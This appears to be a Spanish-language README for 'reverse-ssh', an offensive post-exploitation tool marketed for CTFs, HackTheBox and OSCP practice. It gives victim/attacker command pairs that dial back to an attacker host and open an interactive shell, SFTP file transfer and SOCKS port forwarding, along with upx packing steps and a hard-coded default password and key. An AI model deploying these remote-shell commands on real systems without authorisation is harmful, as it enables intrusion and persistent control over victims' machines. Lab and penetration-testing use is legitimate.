
Servidor SSH enlazado estáticamente con funcionalidad de shell inversa para CTFs y similares
Un servidor ssh enlazado estáticamente con una función de conexión inversa para acceso remoto simple pero potente. Muy útil durante desafíos de HackTheBox, CTFs o similar.
Ha sido desarrollado y se utilizó ampliamente durante la preparación para el examen OSCP.

Capturar una shell inversa con netcat es genial, claro, pero ¿quién no ha cerrado accidentalmente una shell inversa con una interrupción de teclado debido a la memoria muscular? Además de su fragilidad, a estas shells a menudo les faltan características de conveniencia como acceso totalmente interactivo, autocompletado con TAB o historial.
En su lugar, puedes optar por simplemente desplegar el servidor ssh ligero (<1.5MB) reverse-ssh en el objetivo, y usar funcionalidades adicionales como transferencia de archivos y reenvío de puertos!
ReverseSSH intenta cerrar la brecha entre el punto de apoyo inicial en un objetivo y la escalada completa de privilegios locales. Sus principales fortalezas son las siguientes:
Advertencias para Windows
Un powershell completamente interactivo en windows depende de Windows Pseudo Console ConPTY y por lo tanto requiere al menos Win10 Build 17763.
En versiones anteriores aún puedes obtener una shell inversa interactiva que no puede manejar códigos de terminal virtual como las teclas de flecha o interrupciones de teclado.
En tales casos debes añadir el comando cmd, es decir, ssh <OPCIONES> <IP> cmd.
Puedes lograr acceso completo a shell interactivo para versiones antiguas de Windows colocando ssh-shellhost.exe de OpenSSH para Windows en el mismo directorio que reverse-ssh y luego usando la bandera -s ssh-shellhost.exe.
Esto canalizará todo el tráfico a través de ssh-shellhost.exe, que imita una pty y transforma todos los códigos de terminal virtual para que Windows pueda entenderlos.
Simplemente ejecutar los binarios proporcionados solo depende de los requisitos del sistema de golang.
En resumen:
Compilar además requiere lo siguiente:
upx para compresión (ej. apt install upx-ucl)Una vez que reverse-ssh se está ejecutando en la víctima, puedes conectarte con cualquier nombre de usuario y la contraseña predeterminada letmeinbrudipls, la clave ssh o lo que hayas especificado durante la compilación.
Después de todo, es solo un servidor ssh:
# Fully interactive shell access
$ ssh -p <RPORT> <RHOST>
# Simple command execution
$ ssh -p <RPORT> <RHOST> whoami
# Full-fledged file transfers
$ sftp -P <RPORT> <RHOST>
# Dynamic port forwarding as SOCKS proxy on port 9050
$ ssh -p <RPORT> -D 9050 <RHOST>
# Victim
victim$ ./reverse-ssh
# Attacker (default password: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>
Nota: puedes compilar ReverseSSH con parámetros para LHOST y LPORT para facilitar la ejecución en el objetivo, ver más abajo
# On attacker (get ready to catch the incoming request;
# can be omitted if you already have an ssh daemon running, e.g. OpenSSH)
# NOTE: LPORT of 8888 collides with incoming connections; use the flag `-b 8889` or similar on the victim in that case
attacker$ ./reverse-ssh -v -l -p <LPORT>
# On victim
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# or in case of an ssh daemon listening at port 22 with password authentication for user 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>
# On attacker (default password: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# or with ssh config from below
attacker$ ssh target
Al final es ssh simple, por lo que podrías capturar la llamada de reenvío de puertos remoto proveniente de la máquina víctima con tu demonio openssh escuchando en el puerto 22.
Simplemente antepone <USER>@ y proporciona la contraseña cuando se te solicite.
Actualmente la conexión de retorno es solo con contraseña, porque aún no me sentí con ganas de incluir también una clave privada...
Para aún más comodidad, añade lo siguiente a tu ~/.ssh/config, copia la clave privada ssh a ~/.ssh/ y simplemente llama a ssh target o sftp target después:
Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor <[email protected]>
Usage: reverse-ssh [options] [[<user>@]<target>]
Examples:
Bind:
reverse-ssh -l
reverse-ssh -v -l -p 4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh [email protected]
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 [email protected]
Options:
-l, Start reverseSSH in listening mode (overrides reverse scenario)
-p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
-s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-N, Deny all incoming shell/exec/subsystem and local port forwarding requests
(if only remote port forwarding is needed, e.g. when catching reverse connections)
-v, Emit log output
<target>
Optional target which enables the reverse scenario. Can be prepended with
<user>@ to authenticate as a different user other than 'reverse' while dialling home
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
Asegúrate de instalar los requisitos anteriores, como golang en una versión compatible, y configurarlo correctamente.
Después, puedes compilar con make, lo que creará binarios estáticos en bin.
Usa make compressed para empaquetar los binarios con upx y reducir aún más su tamaño.
$ make
# or to additionally created binaries packed with upx
$ make compressed
También puedes especificar una o más de las siguientes variables de entorno al compilar para personalizar ReverseSSH según tu caso de uso: